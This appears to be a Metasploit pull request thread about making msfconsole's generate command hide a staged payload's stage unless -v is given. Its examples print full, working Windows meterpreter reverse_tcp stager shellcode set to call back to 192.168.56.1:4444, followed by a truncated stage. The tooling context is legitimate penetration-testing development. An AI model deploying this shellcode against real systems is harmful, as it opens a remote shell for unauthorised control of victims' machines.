Add generate -v to optionally show payload stage

[wvu]

Why?

The long-standing behavior of the generate command was to display both the payload stager and stage, which would often result in output scrolling off the screen. This PR changes the behavior to align with sanity (and msfvenom's behavior).

generate (stager only)

msf5 payload(windows/meterpreter/reverse_tcp) > generate
# windows/meterpreter/reverse_tcp - 283 bytes (stage 1)
# https://metasploit.com/
# VERBOSE=true, LHOST=192.168.56.1, LPORT=4444,
# ReverseAllowProxy=false, ReverseListenerThreaded=false,
# StagerRetryCount=10, StagerRetryWait=5, PingbackRetries=0,
# PingbackSleep=30, PayloadUUIDTracking=false,
# EnableStageEncoding=false, StageEncoderSaveRegisters=,
# StageEncodingFallback=true, PrependMigrate=false,
# EXITFUNC=process, AutoLoadStdapi=true,
# AutoVerifySession=true, AutoVerifySessionTimeout=30,
# InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
# EnableUnicodeEncoding=false, SessionRetryTotal=3600,
# SessionRetryWait=10, SessionExpirationTimeout=604800,
# SessionCommunicationTimeout=300, PayloadProcessCommandLine=,
# AutoUnhookProcess=false
buf =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89" +
"\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29" +
"\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x38\x01\x68\x02" +
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" +
"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68" +
"\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02" +
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" +
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00" +
"\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6" +
"\x75\xee\xc3"
msf5 payload(windows/meterpreter/reverse_tcp) >

generate -v (stager and stage)

msf5 payload(windows/meterpreter/reverse_tcp) > generate -v
# windows/meterpreter/reverse_tcp - 283 bytes (stage 1)
# https://metasploit.com/
# VERBOSE=true, LHOST=192.168.56.1, LPORT=4444,
# ReverseAllowProxy=false, ReverseListenerThreaded=false,
# StagerRetryCount=10, StagerRetryWait=5, PingbackRetries=0,
# PingbackSleep=30, PayloadUUIDTracking=false,
# EnableStageEncoding=false, StageEncoderSaveRegisters=,
# StageEncodingFallback=true, PrependMigrate=false,
# EXITFUNC=process, AutoLoadStdapi=true,
# AutoVerifySession=true, AutoVerifySessionTimeout=30,
# InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
# EnableUnicodeEncoding=false, SessionRetryTotal=3600,
# SessionRetryWait=10, SessionExpirationTimeout=604800,
# SessionCommunicationTimeout=300, PayloadProcessCommandLine=,
# AutoUnhookProcess=false
buf =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89" +
"\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29" +
"\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x38\x01\x68\x02" +
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" +
"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68" +
"\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02" +
"\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" +
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00" +
"\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6" +
"\x75\xee\xc3"

# windows/meterpreter/reverse_tcp - 180291 bytes (stage 2)
# https://metasploit.com/
buf =
"\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81" +
[snip]
"\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
msf5 payload(windows/meterpreter/reverse_tcp) >

Note that the payload stage is 180,291 bytes.

[wvu]

@smcintyre-r7: The Zsh completions you added could probably be updated, too! I didn't do it in this PR, since we seem to have missed quite a few. :(

[zeroSteiner]

Release Notes

This PR changes the behavior of the generate command in msfconsole to avoid showing a staged payload's stage by default. This addresses a common usability problem where, when generating a large payload, the output would scroll off the screen.

[wvu]

Thanks!